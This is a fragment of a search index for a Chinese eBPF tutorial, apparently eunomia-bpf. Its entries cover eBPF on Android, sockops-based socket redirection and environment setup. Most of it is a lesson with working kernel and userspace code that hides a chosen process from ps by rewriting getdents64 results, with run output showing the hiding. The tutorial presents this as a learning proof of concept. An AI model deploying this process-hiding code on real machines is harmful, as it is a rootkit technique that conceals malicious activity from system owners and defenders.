0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"138","title":"成功案例"},"139":{"body":"opensnoop 例如 opensnoop 工具，可以在 Android 上成功构建，但运行报错： libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项，导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"139","title":"一些可能的报错原因"},"14":{"body":"在开始编写eBPF程序之前，我们需要准备一个合适的开发环境，并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的，在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例，例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些，原因主要是以下两个方面： 内核编译选项未支持相关 eBPF 功能； eadb 打包的 Linux 环境较弱，缺乏必须依赖； 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境，但 Android 内核本身对 eBPF 的支持已较为全面，本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入，目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大，同时由于 eBPF 工具需要 root 权限，普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"140","title":"总结"},"141":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"141","title":"参考"},"142":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"142","title":"http"},"143":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"143","title":"eBPF sockops 示例"},"144":{"body":"网络连接本质上是 socket 之间的通讯，eBPF 提供了一个 bpf_msg_redirect_hash 函数，用来将应用发出的包直接转发到对端的 socket，可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分，即根据当前的数据包信息，从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方，将 socket 信息保存到 sock_map，并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后，出入口流量会直接跳过很多内核模块，明显提高性能，如下图所示： merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"144","title":"利用 eBPF 的 sockops 进行性能优化"},"145":{"body":"此示例程序从发送者的套接字（出口）重定向流量至接收者的套接字（入口）， 跳过 TCP/IP 内核网络栈 。在这个示例中，我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"145","title":"运行样例"},"146":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"146","title":"编译 eBPF 程序"},"147":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"147","title":"加载 eBPF 程序"},"148":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"148","title":"运行 iperf3 服务器"},"149":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"149","title":"运行 iperf3 客户端"},"15":{"body":"要开发eBPF程序，您需要安装以下软件和工具： Linux 内核：由于eBPF是内核技术，因此您需要具备较新版本的Linux内核（推荐4.8及以上版本），以支持eBPF功能。 LLVM 和 Clang：这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成：内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑，用户态部分负责加载、运行和监控内核态程序。当您选择了合适的开发框架后，如 BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以 BCC 工具为例，我们将介绍 eBPF 程序的基本开发流程： 当您选择了合适的开发框架后，如BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以BCC工具为例，我们将介绍eBPF程序的基本开发流程： 安装BCC工具：根据您的Linux发行版，按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序（C语言）：使用C语言编写一个简单的eBPF程序，例如Hello World程序。该程序可以在内核空间执行并完成特定任务，如统计网络数据包数量。 编写用户态程序（Python或C等）：使用Python、C等语言编写用户态程序，用于加载、运行eBPF程序以及与之交互。在这个程序中，您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序：使用BCC工具，将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序：在用户态程序中，使用BCC提供的API加载编译好的eBPF程序到内核空间，然后运行该程序。 与eBPF程序交互：用户态程序通过BCC提供的API与eBPF程序交互，实现数据收集、分析和展示等功能。例如，您可以使用BCC API读取eBPF程序中的map数据，以获取网络数据包统计信息。 卸载eBPF程序：当不再需要eBPF程序时，用户态程序应使用BCC API将其从内核空间卸载。 调试与优化：使用 bpftool 等工具进行eBPF程序的调试和优化，提高程序性能和稳定性。 通过以上流程，您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意，其他框架（如libbpf、cilium/ebpf和eunomia-bpf）的开发流程大致相似但略有不同，因此在选择框架时，请参考相应的官方文档和示例。 通过这个过程，你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架，支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行，并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件，那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"150","title":"收集追踪"},"151":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"151","title":"卸载 eBPF 程序"},"152":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"152","title":"参考资料"},"153":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一个强大功能，可以在无需更改内核源代码或重启内核的情况下，运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中，我们将展示如何利用 eBPF 来隐藏进程或文件信息，这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践：使用 eBPF 隐藏进程或文件信息","id":"153","title":"eBPF 开发实践：使用 eBPF 隐藏进程或文件信息"},"154":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中，这种技术都可能被应用。具体来说，Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹，包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此，如果我们能隐藏某个进程的 /proc/ 文件夹，就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏，关键在于操作 /proc/ 目录。在 Linux 中，getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用，修改它返回的结果，从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能，它可以修改用户空间的内存，因此能用来修改 getdents64 返回的结果。 下面，我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"154","title":"背景知识与实现机制"},"155":{"body":"接下来，我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分： // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件，如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件，是从 vmlinux 内核二进制中提取的。使用这个头文件，eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏，这些宏是 eBPF 程序使用的 BPF 助手（helper）函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件，它包含了许多宏和函数，这些都是为了简化 eBPF 程序对跟踪点（tracepoint）的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构，这些 map 是 eBPF 程序中的主要数据结构，它们用于在内核态和用户态之间共享数据，或者在 eBPF 程序中存储和传递数据。 其中，\"rb\" 是一个 Ringbuffer 类型的 map，它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map，它用于存储目录项（dentry）的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map，它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map，存储了需要被修改的目录项（dentry）的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map，它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量，它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分，程序定义了一个名为 \"linux_dirent64\" 的结构体，这个结构体代表一个 Linux 目录项。然后程序定义了两个函数，\"handle_getdents_enter\" 和 \"handle_getdents_exit\"，这两个函数分别在 getdents64 系统调用的入口和出口被调用，用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中，我们可以看到 eBPF 程序的一部分具体实现，该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0，那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称，因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来，我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项，包含了一些元数据，如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用，用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中，对目录项进行修改，以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID，然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid，那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0，我们就关注所有进程。 在确认了当前进程是我们关注的进程之后，我们将 getdents64 系统调用的参数保存到一个 map 中，以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数，它是一个指向 linux_dirent64 结构体的指针，代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此，我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时，我们将会在 handle_getdents_exit 函数中，对目录项进行修改，以实现进程隐藏。 在接下来的代码段中，我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程，并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数，它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中，我们首先获取了当前进程的 PID 和线程组 ID，然后检查系统调用是否读取到了目录的内容。如果没有读取到内容，我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址，那么就没有必要进行进一步的处理。 接下来的部分有点复杂，我们用了一个循环来迭代读取目录的内容，并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了，我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数，进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中，我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容，并且修改 d_reclen 字段，让它覆盖下一个目录项，这样就可以隐藏我们的目标进程了。 在这个过程中，我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间，我们不能直接访问用户空间的数据，必须使用这些特殊的函数。 在我们完成隐藏操作后，我们会向一个名为 rb 的环形缓冲区发送一个事件，表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间，然后将事件的数据填充到这个空间，并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后，我们清理了之前保存在 map 中的数据，并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子，我们可以看到 eBPF 提供的丰富的功能，如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑，而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"155","title":"内核态 eBPF 程序实现"},"156":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作： 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先，我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了，我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来，我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下，我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后，我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了，我们就进行清理操作。 err = pidhide_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后，我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中，我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有，我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中，我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文，事件的数据，以及数据的大小。我们首先将事件的数据转换为 event 结构体，然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程，最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序，然后设置我们想要隐藏的进程的 PID，再验证并加载 eBPF 程序，最后等待并处理由 eBPF 程序发送的事件。这个过程中，我们使用了 eBPF 提供的一些高级功能，如环形缓冲区和事件处理，这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证，仅供学习使用，严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"156","title":"用户态 eBPF 程序实现"},"157":{"body":"首先，我们需要编译 eBPF 程序： make 然后，假设我们想要隐藏进程 ID 为 1534 的进程，可以运行如下命令： sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如，我们可以选择一个进程进行隐藏： $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是，如果我们运行 sudo ./pidhide --pid-to-hide 1534，再次运行 ps -aux | grep 1534，就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏，使得像 ps 这样的工具无法看到，我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行，隐藏 PID","id":"157","title":"编译运行，隐藏 PID"},"158":{"body":"通过本篇 eBPF 入门实践教程，我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序，如何通过 eBPF 